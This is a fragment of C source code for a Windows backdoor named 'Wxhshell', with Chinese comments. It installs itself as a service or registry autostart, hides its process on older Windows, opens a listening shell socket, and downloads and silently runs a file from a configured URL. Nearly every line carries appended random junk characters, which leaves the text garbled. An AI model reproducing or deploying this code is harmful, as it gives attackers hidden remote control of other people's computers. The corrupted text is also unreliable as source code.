ULONG InheritedFromUniqueProcessId; hNXBVIL<&
} PROCESS_BASIC_INFORMATION; W9t"aZor
ha;l(U>
PROCNTQSIP NtQueryInformationProcess; TP1S[`nR
8u2+tB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ni
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aFY_:.o2k`
O3n_N6| q
HANDLE hProcess; (#q<\`
PROCESS_BASIC_INFORMATION pbi; 4R>zPEo
o2-@o= F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;r=b|B9c
if(NULL == hInst ) return 0; Q36)7=at
iA!7E;o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {dPgf
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oK+
WF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oUx[+Gnv
^IgY d*5
if (!NtQueryInformationProcess) return 0; %Y4e9T".
">dq0gD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U},=LsDsW4
if(!hProcess) return 0; I~'*$l
^TXf sQs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Swtbl`,
5 waw`F
CloseHandle(hProcess); p4VqV6LwD
LF*Q!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oajv^H,Em
if(hProcess==NULL) return 0; %Hi~aRz
AF4?IH
HMODULE hMod; A1cb"N^
char procName[255]; =QV::/
unsigned long cbNeeded; &[?CTZ
*! :QdWLq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -%IcYzyA
7Tf]:4Y"
CloseHandle(hProcess); q}L+/+b
m:`@?n~..
if(strstr(procName,"services")) return 1; // 以服务启动 ++[5q+b
v4*rPGv
return 0; // 注册表启动 }0=<6\+:`
} lm'Zy"~::
z&nZ<ih
// 主模块 7N2\8kP
int StartWxhshell(LPSTR lpCmdLine) Q"J-tP!
{ ~@I@} n
SOCKET wsl; p4X{"Z\mn
BOOL val=TRUE; =G-N`
39
int port=0; 6k])Kl J2;
struct sockaddr_in door; 4ax|Vb)D
TbE:||r?^
if(wscfg.ws_autoins) Install(); lx,`hl%
,*,sw:=2
port=atoi(lpCmdLine); $*~Iu%Az
g?/XZ5$a5
if(port<=0) port=wscfg.ws_port; ){Mu~P
SKXBrD=-
WSADATA data; x.DzViP/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ro| vh\y
I#A2)V0P)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (!K+P[g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X=p"5hhfn
door.sin_family = AF_INET; $v;dV@tB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); P-z`c\Rt
door.sin_port = htons(port); !FG%2L4?,5
]j.k?P$U}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0=U70nKr
closesocket(wsl); S0@T0y#
return 1; whc[@Tyx
} x%BF{Sw
V+B71\x<
if(listen(wsl,2) == INVALID_SOCKET) { KI&:9j+M)
closesocket(wsl); *FgJ|y6gk
return 1; CyM}Hc&w
} s_wUM)!
Wxhshell(wsl); J?712=9
WSACleanup(); 2P~)I)3V
A! 6r/
return 0; )3E,D~1e%
cwtD@KC[B
} g@nk.aRw
-6E K#!+
// 以NT服务方式启动 H/cTJ9zz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h_
!>yK
{ Q .RO
DWORD status = 0; jMpa?Jp 1
DWORD specificError = 0xfffffff; SN]LeXesS
-@bp4Z=
serviceStatus.dwServiceType = SERVICE_WIN32; a5wDm
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M'jXve(=yF
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q</h-skLZ
serviceStatus.dwWin32ExitCode = 0; E8[XG2ye
serviceStatus.dwServiceSpecificExitCode = 0; +g\;bLT
serviceStatus.dwCheckPoint = 0; o'UHStk
serviceStatus.dwWaitHint = 0; .gD km^
Enj_tJs
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .|]IwyD
&
if (hServiceStatusHandle==0) return; $B _Nc*_e
SPwPCI1?
status = GetLastError(); O*7i }\{
if (status!=NO_ERROR) 9D4-^M:a
{ !=zx
serviceStatus.dwCurrentState = SERVICE_STOPPED; .LE+/n
serviceStatus.dwCheckPoint = 0; .H;B=nd*
serviceStatus.dwWaitHint = 0; @phN|;?
serviceStatus.dwWin32ExitCode = status; pieT'mA
serviceStatus.dwServiceSpecificExitCode = specificError; E <@\>y.[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R^{xwI
return; cC6z,0`3
} eqFvrESN~=
ePA;:8)_j
serviceStatus.dwCurrentState = SERVICE_RUNNING; G(OFr2M
serviceStatus.dwCheckPoint = 0; z\Ui8jo:;
serviceStatus.dwWaitHint = 0; Ml`vx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /t{=8v~
} \|q-+4]@,
~mA7pOHj
// 处理NT服务事件,比如:启动、停止 L+R>%d
s
VOID WINAPI NTServiceHandler(DWORD fdwControl) vfbe$4mH
{ TA)LPBG
switch(fdwControl) k^*$^;z
{ 1X:&*a"5
case SERVICE_CONTROL_STOP: euZ(}+N&
serviceStatus.dwWin32ExitCode = 0; ?`. XK}
serviceStatus.dwCurrentState = SERVICE_STOPPED; M_&4]\PkCy
serviceStatus.dwCheckPoint = 0; VD;j[~/Z
serviceStatus.dwWaitHint = 0; #]zhZW4
{ VK4/82@5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B)a@fmp"a
} NV~vuC
return; Zz")`hUG
case SERVICE_CONTROL_PAUSE: iwo$\
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~07RFR
break; NhDA7z`b'J
case SERVICE_CONTROL_CONTINUE: ;Q90Y&{L=$
serviceStatus.dwCurrentState = SERVICE_RUNNING;
TcZN%
break; d pn3 (
case SERVICE_CONTROL_INTERROGATE: .eTk=i[N-
break; okDJ(AIV+
}; wP`sXPSmIu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); coAW9=o}
} eBvW#Hzp
kH2oK:lN
// 标准应用程序主函数 m<FK;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hho%~^bn(
{ jZ#UUnR%
(6-y+LG
// 获取操作系统版本 Lh!z>IWjOG
OsIsNt=GetOsVer(); ,aO@.<"
GetModuleFileName(NULL,ExeFile,MAX_PATH); y< ud('D
msG3~@q
// 从命令行安装 j0?>w{e
if(strpbrk(lpCmdLine,"iI")) Install(); GC?S];PL
g< )72-h
// 下载执行文件 lPp6
pVr
if(wscfg.ws_downexe) { f!!P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^2JPyyZa
WinExec(wscfg.ws_filenam,SW_HIDE); #S*pD?VZ
} ^BNp`x;;`
#NMJZ
if(!OsIsNt) { m+7`\|`jQ
// 如果时win9x,隐藏进程并且设置为注册表启动 q\_DJ)qpn
HideProc(); <i7agEdZD
StartWxhshell(lpCmdLine); ` U#Po_hq
} WVkG2
else oek #^:pF
if(StartFromService()) bQV("~#
// 以服务方式启动
2$)mC9
StartServiceCtrlDispatcher(DispatchTable); 1gk0l'.z
else x
Ty7lfSe
// 普通方式启动 N6BNzN}-P
StartWxhshell(lpCmdLine); qAORWc
,5kvn
return 0; xv&S[=Dt
}